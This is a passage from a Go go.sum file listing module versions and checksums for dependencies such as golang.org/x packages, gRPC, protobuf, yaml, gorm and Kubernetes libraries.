golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190321052220-f7bb7a8bee54/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190616124812-15dcb6c0061f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/sys v0.0.0-20210217105451-b926d437f341 h1:2/QtM1mL37YmcsT8HaDNHDgTqqFVw+zr8UzMiBVLzYU=
|
||||||
|
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
|
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||||
|
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
|
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||||
|
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
|
||||||
|
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
|
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||||
|
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||||
|
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||||
|
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20181011042414-1f849cf54d09/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20190125232054-d66bd3c5d5a6/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||||
|
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||||
|
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||||
|
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||||
|
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||||
|
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||||
|
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||||
|
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||||
|
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190617190820-da514acc4774/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190624190245-7f2218787638/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||||
|
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20190920225731-5eefd052ad72/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
|
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||||
|
golang.org/x/tools v0.0.0-20201202200335-bef1c476418a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||||
|
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||||
|
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
|
gonum.org/v1/gonum v0.0.0-20190331200053-3d26580ed485/go.mod h1:2ltnJ7xHfj0zHS40VVPYEAAMTa3ZGguvHGBSJeRWqE0=
|
||||||
|
gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw=
|
||||||
|
gonum.org/v1/netlib v0.0.0-20190331212654-76723241ea4e/go.mod h1:kS+toOQn6AQKjmKJ7gzohV1XkqsFehRA2FbsbkopSuQ=
|
||||||
|
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
|
||||||
|
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
|
||||||
|
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
||||||
|
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
||||||
|
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
|
||||||
|
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||||
|
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||||
|
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||||
|
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
|
||||||
|
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||||
|
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||||
|
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||||
|
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||||
|
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||||
|
google.golang.org/genproto v0.0.0-20190626174449-989357319d63/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
|
||||||
|
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||||
|
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||||
|
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
|
||||||
|
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
|
||||||
|
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013 h1:+kGHl1aib/qcwaRi1CbqBZ1rk19r85MNUf8HaBghugY=
|
||||||
|
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||||
|
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||||
|
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
|
||||||
|
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
|
||||||
|
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||||
|
google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||||
|
google.golang.org/grpc v1.24.0/go.mod h1:XDChyiUovWa60DnaeDeZmSW86xtLtjtZbwvSiRnRtcA=
|
||||||
|
google.golang.org/grpc v1.27.0 h1:rRYRFMVgRv6E0D70Skyfsr28tDXIuuPZyWGMPdMcnXg=
|
||||||
|
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||||
|
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||||
|
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||||
|
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||||
|
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||||
|
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||||
|
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||||
|
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||||
|
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||||
|
google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c=
|
||||||
|
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||||
|
gopkg.in/DataDog/dd-trace-go.v1 v1.17.0/go.mod h1:DVp8HmDh8PuTu2Z0fVVlBsyWaC++fzwVCaGWylTe3tg=
|
||||||
|
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
|
||||||
|
gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d/go.mod h1:cuepJuh7vyXfUyUwEgHQXw849cJrilpS5NeIjOWESAw=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
|
||||||
|
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
|
||||||
|
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||||
|
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
||||||
|
gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o=
|
||||||
|
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||||
|
gopkg.in/ini.v1 v1.41.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||||
|
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||||
|
gopkg.in/ldap.v2 v2.5.0/go.mod h1:oI0cpe/D7HRtBQl8aTg+ZmzFUAvu4lsv3eLXMLGFxWk=
|
||||||
|
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
|
||||||
|
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
||||||
|
gopkg.in/square/go-jose.v2 v2.2.2/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||||
|
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||||
|
gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=
|
||||||
|
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
|
||||||
|
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||||
|
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||||
|
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
gorm.io/driver/sqlite v1.1.4 h1:PDzwYE+sI6De2+mxAneV9Xs11+ZyKV6oxD3wDGkaNvM=
|
||||||
|
gorm.io/driver/sqlite v1.1.4/go.mod h1:mJCeTFr7+crvS+TRnWc5Z3UvwxUN1BGBLMrf5LA9DYw=
|
||||||
|
gorm.io/gorm v1.20.7/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||||
|
gorm.io/gorm v1.21.4 h1:J0xfPJMRfHgpVcYLrEAIqY/apdvTIkrltPQNHQLq9Qc=
|
||||||
|
gorm.io/gorm v1.21.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||||
|
gotest.tools v2.2.0+incompatible h1:VsBPFP1AI068pPrMxtb/S8Zkgf9xEmTLJjfM+P5UIEo=
|
||||||
|
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
|
||||||
|
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||||
|
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||||
|
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||||
|
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||||
|
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||||
|
k8s.io/api v0.17.3/go.mod h1:YZ0OTkuw7ipbe305fMpIdf3GLXZKRigjtZaV5gzC2J0=
|
||||||
|
k8s.io/apiextensions-apiserver v0.17.3/go.mod h1:CJbCyMfkKftAd/X/V6OTHYhVn7zXnDdnkUjS1h0GTeY=
|
||||||
|
k8s.io/apimachinery v0.17.3/go.mod h1:gxLnyZcGNdZTCLnq3fgzyg2A5BVCHTNDFrw8AmuJ+0g=
|
||||||
|
k8s.io/apiserver v0.17.3/go.mod h1:iJtsPpu1ZpEnHaNawpSV0nYTGBhhX2dUlnn7/QS7QiY=
|
||||||
|
k8s.io/client-go v0.17.3/go.mod h1:cLXlTMtWHkuK4tD360KpWz2gG2KtdWEr/OT02i3emRQ=
|
||||||
|
k8s.io/code-generator v0.17.3/go.mod h1:l8BLVwASXQZTo2xamW5mQNFCe1XPiAesVq7Y1t7PiQQ=
|
||||||
|
k8s.io/component-base v0.17.3/go.mod h1:GeQf4BrgelWm64PXkIXiPh/XS0hnO42d9gx9BtbZRp8=
|
||||||
|
k8s.io/gengo v0.0.0-20190128074634-0689ccc1d7d6/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
|
||||||
|
k8s.io/gengo v0.0.0-20190822140433-26a664648505/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
|
||||||
|
k8s.io/klog v0.0.0-20181102134211-b9b56d5dfc92/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=
|
||||||
|
k8s.io/klog v0.3.0/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=
|
||||||
|
k8s.io/klog v1.0.0/go.mod h1:4Bi6QPql/J/LkTDqv7R/cd3hPo4k2DG6Ptcz060Ez5I=
|
||||||
|
k8s.io/kube-openapi v0.0.0-20191107075043-30be4d16710a/go.mod h1:1TqjTSzOxsLGIKfj0lK8EeCP7K1iUG65v09OM0/WG5E=
|
||||||
|
k8s.io/utils v0.0.0-20191114184206-e782cd3c129f/go.mod h1:sZAwmy6armz5eXlNoLmJcl4F1QuKu7sr+mFQ0byX7Ew=
|
||||||
|
modernc.org/cc v1.0.0/go.mod h1:1Sk4//wdnYJiUIxnW8ddKpaOJCF37yAdqYnkxUpaYxw=
|
||||||
|
modernc.org/golex v1.0.0/go.mod h1:b/QX9oBD/LhixY6NDh+IdGv17hgB+51fET1i2kPSmvk=
|
||||||
|
modernc.org/mathutil v1.0.0/go.mod h1:wU0vUrJsVWBZ4P6e7xtFJEhFSNsfRLJ8H458uRjg03k=
|
||||||
|
modernc.org/strutil v1.0.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs=
|
||||||
|
modernc.org/xc v1.0.0/go.mod h1:mRNCo0bvLjGhHO9WsyuKVU4q0ceiDDDoEeWDJHrNx8I=
|
||||||
|
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||||
|
sigs.k8s.io/structured-merge-diff v0.0.0-20190525122527-15d366b2352e/go.mod h1:wWxsB5ozmmv/SG7nM11ayaAW51xMvak/t1r0CSlcokI=
|
||||||
|
sigs.k8s.io/structured-merge-diff v1.0.1-0.20191108220359-b1b620dd3f06/go.mod h1:/ULNhyfzRopfcjskuui0cTITekDduZ7ycKN3oUT9R18=
|
||||||
|
sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=
|
||||||
|
unknwon.dev/clog/v2 v2.2.0 h1:jkPdsxux0MC04BT/9NHbT75z4prK92SH10VBNmIpVCc=
|
||||||
|
unknwon.dev/clog/v2 v2.2.0/go.mod h1:zvUlyibDHI4mykYdWyWje2G9nF/nBzfDOqRo2my4mWc=
|
||||||
|
vitess.io/vitess v0.9.0 h1:AiBFrhzTCqXcDutjPMp7FtkX2s3dXQBg252rGho6rn8=
|
||||||
|
